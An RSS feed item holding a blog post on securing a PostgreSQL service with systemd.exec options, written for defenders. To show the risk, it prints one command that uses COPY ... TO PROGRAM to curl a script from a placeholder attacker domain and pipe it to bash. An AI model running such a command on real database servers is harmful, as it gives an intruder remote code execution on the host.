<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Coder Legion - Recent posts tagged systemd.exec</title>
<link>https://coderlegion.com/tag/systemd.exec</link>
<description>Powered by Question2Answer</description>
<item>
<title>Understanding Systemd.exec - Part 2: Solving Postgres Vulnerability.</title>
<link>https://coderlegion.com/16113/understanding-systemd-exec-part-2-solving-postgres-vulnerability</link>
<description>
&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. &lt;a href=&quot;https://github.com/HexmosTech/git-lrc&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;In previous article I explained few core features of the Systemd configuration. In this article, I will be going to demonstrate how to use these options to secure Postgres service running in systemd.&lt;/p&gt;

&lt;p&gt;Postgres is a popular relational database management system. It is widely used in enterprise applications.&lt;/p&gt;

&lt;p&gt;Postgres can be run in systemd and can be secured using systemd.exec options.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Postgres need systemd.exec options?
&lt;/h2&gt;

&lt;p&gt;If any one breached the db access they not only get the data but also get access to shell access of the server.&lt;/p&gt;

&lt;p&gt;With use of postgrace copy to function.&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;COPY &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;SELECT 1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; TO PROGRAM &lt;span class=&quot;s1&quot;&gt;'curl -L &lt;a href=&quot;https://{attacker-domain.com}/install&quot; rel=&quot;nofollow&quot;&gt;https://{attacker-domain.com}/install&lt;/a&gt; | bash'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This way they can break through the database and get access to the server.&lt;/p&gt;

&lt;p&gt;To remove this access there are multiple ways &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;creating roles based postgresql access and remove all pgexec to specific role.&lt;/li&gt;
&lt;li&gt;Blocking port access to internet.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Still, this feature will be accessible to admin user.&lt;/p&gt;

&lt;p&gt;Lot of discussion went on adding disable feature in pg but many also argued that this is core function as Select feature is such that it can't be removed.&lt;/p&gt;

&lt;p&gt;Also some also says it is core function many other's use for thier company opertion.&lt;/p&gt;

&lt;p&gt;To disable this feature in postgres, as we saw in previous article we can use systemd.exec options.&lt;/p&gt;

&lt;h2&gt;
  
  
  Coming Up Next
&lt;/h2&gt;

&lt;p&gt;we will securing Postgrace access using systemd.exec options.&lt;/p&gt;

&lt;p&gt;Discussion in HN: &lt;a href=&quot;https://news.ycombinator.com/item?id=37164115&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;https://news.ycombinator.com/item?id=37164115&lt;/a&gt;&lt;br&gt;
PostgreSQL Discussion : &lt;a href=&quot;https://www.postgresql.org/message-id/CAKFQuwZZ0zAMpp2KjBr5bUS7RvBqouD2Kqne6YtbgZn%3DnzL1xA%40mail.gmail.com&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;https://www.postgresql.org/message-id/CAKFQuwZZ0zAMpp2KjBr5bUS7RvBqouD2Kqne6YtbgZn%3DnzL1xA%40mail.gmail.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/HexmosTech/git-lrc&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png&quot; alt=&quot;git-lrc&quot; width=&quot;800&quot; height=&quot;373&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It&amp;rsquo;s online, source-available, and ready for anyone to use. &lt;br&gt;
&amp;#11088; Star it on GitHub: &lt;a href=&quot;https://github.com/HexmosTech/git-lrc&quot; rel=&quot;noopener noreferrer nofollow&quot;&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;


</description>
<category>Other</category>
<guid isPermaLink="true">https://coderlegion.com/16113/understanding-systemd-exec-part-2-solving-postgres-vulnerability</guid>
<pubDate>Sun, 03 May 2026 19:41:08 +0000</pubDate>
</item>
</channel>
</rss>